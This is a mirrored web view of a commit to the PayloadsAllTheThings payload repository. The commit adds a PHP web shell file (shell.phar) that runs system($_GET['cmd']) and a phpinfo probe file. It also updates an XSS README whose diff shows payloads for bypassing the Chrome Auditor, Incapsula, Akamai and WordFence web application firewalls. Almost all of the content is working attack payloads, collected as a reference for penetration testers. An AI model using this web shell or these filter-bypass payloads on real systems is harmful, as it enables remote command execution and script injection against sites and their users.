ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-24 21:35:27 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Phar PHP shell files

Browse Source
This commit is contained in:
Swissky 2019-01-10 22:36:30 +01:00
parent ea0bddc18a
commit 0070ac5dc4
3 changed files with 9 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
Upload insecure files/PHP Extension/phpinfo.phar Normal file
View File

@ -0,0 +1 @@
<?php phpinfo(); ?>

1
Upload insecure files/PHP Extension/shell.phar Normal file
View File

@ -0,0 +1 @@
<?php echo "Shell";system($_GET['cmd']); ?>

13
XSS injection/README.md
View File

@ -823,7 +823,7 @@ Works for CSP like `script-src self`
## Common WAF Bypass ## Common WAF Bypass
### Chrome Auditor - 9th august ### Chrome Auditor - 9th august 2018
```javascript ```javascript
</script><svg><script>alert(1)-%26apos%3B </script><svg><script>alert(1)-%26apos%3B
@ -831,7 +831,7 @@ Works for CSP like `script-src self`
Live example by @brutelogic - [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?c1=</script><svg><script>alert(1)-%26apos%3B) Live example by @brutelogic - [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?c1=</script><svg><script>alert(1)-%26apos%3B)
### Incapsula WAF Bypass by [@Alra3ees](https://twitter.com/Alra3ees/status/971847839931338752)- 8th march ### Incapsula WAF Bypass by [@Alra3ees](https://twitter.com/Alra3ees/status/971847839931338752)- 8th march 2018
```javascript ```javascript
anythinglr00</script><script>alert(document.domain)</script>uxldz anythinglr00</script><script>alert(document.domain)</script>uxldz
@ -839,25 +839,26 @@ anythinglr00</script><script>alert(document.domain)</script>uxldz
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
``` ```
### Incapsula WAF Bypass by [@c0d3G33k](https://twitter.com/c0d3G33k) - 11th september ### Incapsula WAF Bypass by [@c0d3G33k](https://twitter.com/c0d3G33k) - 11th september 2018
```javascript ```javascript
<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object> <object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
``` ```
### Akamai WAF Bypass by [@zseano](https://twitter.com/zseano) - 18th june
### Akamai WAF Bypass by [@zseano](https://twitter.com/zseano) - 18th june 2018
```javascript ```javascript
?"></script><base%20c%3D=href%3Dhttps:\mysite> ?"></script><base%20c%3D=href%3Dhttps:\mysite>
``` ```
### Akamai WAF Bypass by [@s0md3v](https://twitter.com/s0md3v/status/1056447131362324480) - 28th october ### Akamai WAF Bypass by [@s0md3v](https://twitter.com/s0md3v/status/1056447131362324480) - 28th october 2018
```html ```html
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x> <dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
``` ```
### WordFence WAF Bypass by [@brutelogic](https://twitter.com/brutelogic) - 12th september ### WordFence WAF Bypass by [@brutelogic](https://twitter.com/brutelogic) - 12th september 2018
```javascript ```javascript
<a href=javas&#99;ript:alert(1)> <a href=javas&#99;ript:alert(1)>